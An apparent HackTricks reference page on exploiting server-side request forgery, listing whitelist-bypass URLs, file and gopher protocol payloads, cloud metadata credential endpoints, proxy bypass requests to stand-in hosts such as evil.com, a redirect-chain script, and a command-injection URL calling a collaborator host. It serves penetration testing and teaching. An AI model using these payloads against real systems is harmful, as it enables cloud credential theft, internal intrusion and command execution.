> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# SSRF (Server-Side Request Forgery)

> Guide to identifying and exploiting Server-Side Request Forgery vulnerabilities, including protocol abuse, cloud metadata access, DNS rebinding, and blind SSRF techniques.

A **Server-Side Request Forgery (SSRF)** vulnerability occurs when an attacker manipulates a server-side application into making HTTP requests to a domain of their choice, exposing the server to arbitrary external or internal requests.

## Capturing SSRF Interactions

The first step is capturing an SSRF interaction you generate. Use tools such as:

* **Burp Collaborator**
* [canarytokens](https://canarytokens.org/generate)
* [interactsh](https://github.com/projectdiscovery/interactsh)
* [webhook.site](https://webhook.site)
* [requestrepo.com](http://requestrepo.com/)

## Whitelisted Domain Bypasses

SSRF is often restricted to whitelisted domains. Common bypass techniques:

```
# Open redirect chain
https://victim.com/redirect?url=http://169.254.169.254/

# Using @ in URL
http://attacker.com@169.254.169.254/

# IPv6 encoding
http://[::1]:80/

# Decimal IP encoding
http://2130706433/  (127.0.0.1)

# Octal encoding
http://0177.0.0.1/
```

## Supported Protocols

<AccordionGroup>
  <Accordion title="file://">
    Directly access local files:

    ```
    file:///etc/passwd
    file:///C:/Windows/System32/drivers/etc/hosts
    ```
  </Accordion>

  <Accordion title="dict://">
    Access DICT protocol servers:

    ```
    dict://<host>:<port>/d:<word>:<database>:<n>
    ```
  </Accordion>

  <Accordion title="gopher://">
    Send raw TCP bytes to any service. Useful for attacking Redis, SMTP, internal APIs:

    ```bash theme={null}
    # Gopher SMTP
    ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A...

    # Gopher HTTP
    gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
    gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0Abody
    ```

    Use [Gopherus](https://github.com/tarunkant/Gopherus) to generate Gopher payloads for:

    * MySQL, PostgreSQL, FastCGI, Redis, Zabbix, Memcache
  </Accordion>

  <Accordion title="SFTP, TFTP, LDAP">
    ```
    sftp://generic.com:11111/
    ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
    ldap://localhost:11211/%0astats%0aquit
    ```
  </Accordion>
</AccordionGroup>

## SSRF via Special Headers

```http theme={null}
# Referrer header (analytics tools often visit URLs in Referer)
Referer: http://169.254.169.254/latest/meta-data/

# SNI field (misconfigured Nginx proxy)
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```

## SSRF via TLS AIA CA Issuers (Java mTLS)

<Warning>
  Some TLS stacks auto-download missing intermediate CAs using the **Authority Information Access (AIA) → CA Issuers** URI inside the peer certificate. In Java, enabling `-Dcom.sun.security.enableAIAcaIssuers=true` makes the server dereference attacker-controlled URIs **during the TLS handshake**, before any HTTP logic runs.
</Warning>

```bash theme={null}
# Trigger SSRF via crafted client certificate AIA field
curl https://mtls-server:8444 \
  --key client-aia-key.pem \
  --cert client-aia-localhost-cert.pem \
  --cacert ca-cert.pem
# Server will fetch: http://localhost:8080 (attacker-controlled URL in AIA)

# DoS via file://
# Setting AIA CA Issuers to file:///dev/urandom makes Java read unbounded bytes
```

## Misconfigured Proxy SSRF

```http theme={null}
# Flask proxy (@-based bypass)
GET @evildomain.com/ HTTP/1.1
Host: target.com

# Spring Boot (;-based bypass)
GET ;@evil.com/url HTTP/1.1
Host: target.com

# Reverse proxy accepting absolute URLs (open forward proxy)
GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close
```

## Cloud SSRF Exploitation

In cloud environments, SSRF can access metadata endpoints:

```
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
http://metadata.google.internal/computeMetadata/v1/
# (requires: Metadata-Flavor: Google header via Gopher)

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
```

## Blind SSRF

When you cannot see the response:

<Tabs>
  <Tab title="Time-Based">
    Check timing of server responses to determine if a resource exists:

    * Requests to existing internal hosts may respond faster or slower.
    * Use timing differences to map internal networks.
  </Tab>

  <Tab title="DNS-Based">
    Use an out-of-band DNS interaction to confirm SSRF:

    ```
    http://attacker-burp-collaborator.net/
    ```

    Any DNS query confirms the vulnerability.
  </Tab>

  <Tab title="Status Code Exploitation">
    According to research, sending redirect responses (305–309) in a SSRF chain can cause the application to enter an error mode that prints the full response:

    ```python theme={null}
    @app.route("/redir")
    def redir():
        count = int(request.args.get("count", 0)) + 1
        weird_status = 301 + count
        if count >= 10:
            return redirect(METADATA_URL, 302)
        return redirect(f"/redir?count={count}", weird_status)
    ```
  </Tab>
</Tabs>

## HTML-to-PDF Renderers as Blind SSRF Gadgets

Libraries like TCPDF and html2pdf automatically fetch URLs present in HTML while rendering a PDF:

```html theme={null}
<html>
  <body>
    <img width="1" height="1" src="http://127.0.0.1:8080/healthz">
    <link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
  </body>
</html>
```

## DNS Rebinding CORS/SOP Bypass

DNS rebinding can be used to bypass CORS/SOP restrictions when exfiltrating content from local IPs:

1. Victim visits attacker's page
2. Attacker changes DNS to point to internal IP (TTL=0)
3. Subsequent requests from victim's browser go to internal service
4. Content is exfiltrated

Tool: [Singularity of Origin](https://github.com/nccgroup/singularity)

## SSRF to RCE Chains

```bash theme={null}
# SSRF + Command Injection in URL
url=http://collaborator.net?`whoami`

# SSRF via PDF rendering
# Inject JS that makes the PDF generator perform requests
```

## Tools

* [SSRFMap](https://github.com/swisskyrepo/SSRFmap) — Detect and exploit SSRF
* [Gopherus](https://github.com/tarunkant/Gopherus) — Generate Gopher payloads
* [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) — Tunnel traffic through SSRF
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) — Java RMI SSRF payloads